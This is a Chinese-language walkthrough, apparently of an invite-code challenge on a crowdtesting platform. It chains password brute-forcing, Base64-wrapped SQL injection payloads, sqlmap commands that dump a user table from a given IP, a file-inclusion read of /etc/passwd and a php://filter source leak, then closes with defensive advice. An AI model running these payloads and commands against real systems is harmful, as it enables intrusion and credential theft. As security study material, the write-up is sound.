记录一次众测平台邀请码获取
字数 1694 2025-08-15 21:32:56
众测平台邀请码获取实战教学文档
0x00 背景与目标
本教学文档基于一次真实的众测平台邀请码获取过程,详细记录了从发现漏洞到最终获取邀请码的全流程。目标是通过技术手段获取平台邀请码,主要涉及以下技术点:
- 密码爆破
- SQL注入(整形手动注入)
- SQL盲注(使用sqlmap工具)
- 文件包含漏洞利用
- 源码审计
- API接口分析
0x01 密码爆破
发现点
- 登录页面无验证码保护
- 无账户锁定机制
实施步骤
- 使用Burp Suite工具进行密码爆破
- 构造简单的用户名/密码字典(如test/test123等常见组合)
- 观察HTTP响应状态码,成功登录返回200状态码
结果
成功获取有效凭证:test/test123
0x02 SQL注入(整形手动注入)
发现点
- URL中存在
aid参数:http://119.3.191.245:8877/user/Article.php?aid=3 - 参数值变化导致页面内容变化
测试方法
- 尝试
aid=-1、0、1、2、3、4 - 发现
aid=3时页面显示更多链接 - 其中一个链接包含新参数:
id=NQ==(Base64编码的"5")
注入验证
- 解码
NQ==得到5 - 构造Payload:
5 and 1=1→ Base64编码后替换原参数5 and 1=2→ Base64编码后替换原参数
- 观察页面差异,确认存在SQL注入
字段数探测
- 使用
order by n确定字段数 - 经过测试确认字段数为3
联合查询尝试
- 构造
5 union select 1,2,3 --+并Base64编码 - 发现系统拦截,提示"感知到注入迹象,启动第四阻断机制"
0x03 SQL盲注(使用sqlmap工具)
工具准备
- 下载sqlmap工具
- 准备Base64编码的tamper脚本
命令构造
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" \
--cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" \
--batch \
--random-agent \
--tamper base64encode.py \
--level 3
数据库枚举
- 获取所有数据库:
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" \
--cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" \
--batch \
--random-agent \
--tamper base64encode.py \
--dbs
结果:发现level2数据库
- 获取
level2数据库表:
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" \
--cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" \
--batch \
--random-agent \
--tamper base64encode.py \
-D "level2" \
--tables
结果:user和article表
- 获取
user表数据:
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" \
--cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" \
--batch \
--random-agent \
--tamper base64encode.py \
-D "level2" \
-T "user" \
--dump
结果:获取到admin账户凭据
0x04 文件包含漏洞利用
发现点
- admin账户登录后页面多了一个小表情
- 查看源码发现图片URL包含
filename参数
测试方法
- 尝试读取系统文件:
filename=/etc/passwd→ 成功读取
- 读取PHP源码(使用Base64编码绕过):
filename=php://filter/read=convert.base64-encode/resource=Read.php- 解码获取源码
源码审计
- 发现
Read.php包含Base.php - 读取
Base.php源码 - 发现提示读取
meifahufujiulaimingdu.php
关键源码分析
meifahufujiulaimingdu.php内容:
<?php
#关于邀请码,嗯,一目了然。
require_once("Base.php");
error_reporting(0);
//$user = isUser();
$url = "http://172.17.0.1:3000/code";
$email = "";
function send_post($url, $post_data) {
$postdata = http_build_query($post_data);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => $postdata,
'timeout' => 15 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
return $result;
}
$post_data = array(
'e' => $_POST['email']
);
echo send_post($url, $post_data);
#ps:建团?什么建团? 啊,哦,那个啊,我记得小姐把它扔到static下面去了,有心的话,去那儿找找吧。
0x05 获取邀请码
API分析
- 接口地址:
http://172.17.0.1:3000/code - 请求方法:POST
- 参数:
email
实施步骤
- 构造POST请求:
- URL:
http://119.3.191.245:8877/meifahufujiulaimingdu.php - 参数:
email=任意邮箱地址
- URL:
- 发送请求获取返回的邀请码
0x06 总结与防御建议
漏洞链
- 弱密码 → 账户爆破
- SQL注入 → 数据泄露
- 文件包含 → 源码泄露
- 未授权API → 邀请码获取
防御建议
-
密码安全
- 强制复杂密码策略
- 实施账户锁定机制
- 添加验证码保护
-
SQL注入防护
- 使用参数化查询
- 实施WAF防护
- 对union等危险关键词进行过滤
-
文件包含防护
- 禁用危险函数(如php://filter)
- 限制文件访问路径
- 对用户输入进行严格过滤
-
API安全
- 实施身份验证
- 限制内网API的外部访问
- 对敏感操作进行日志记录
-
源码安全
- 避免将敏感信息硬编码在源码中
- 实施代码审计
- 使用环境变量存储敏感配置
通过本案例可以学习到完整的渗透测试流程和多种漏洞利用技术,同时也提醒开发者在系统设计时需要考虑全面的安全防护措施。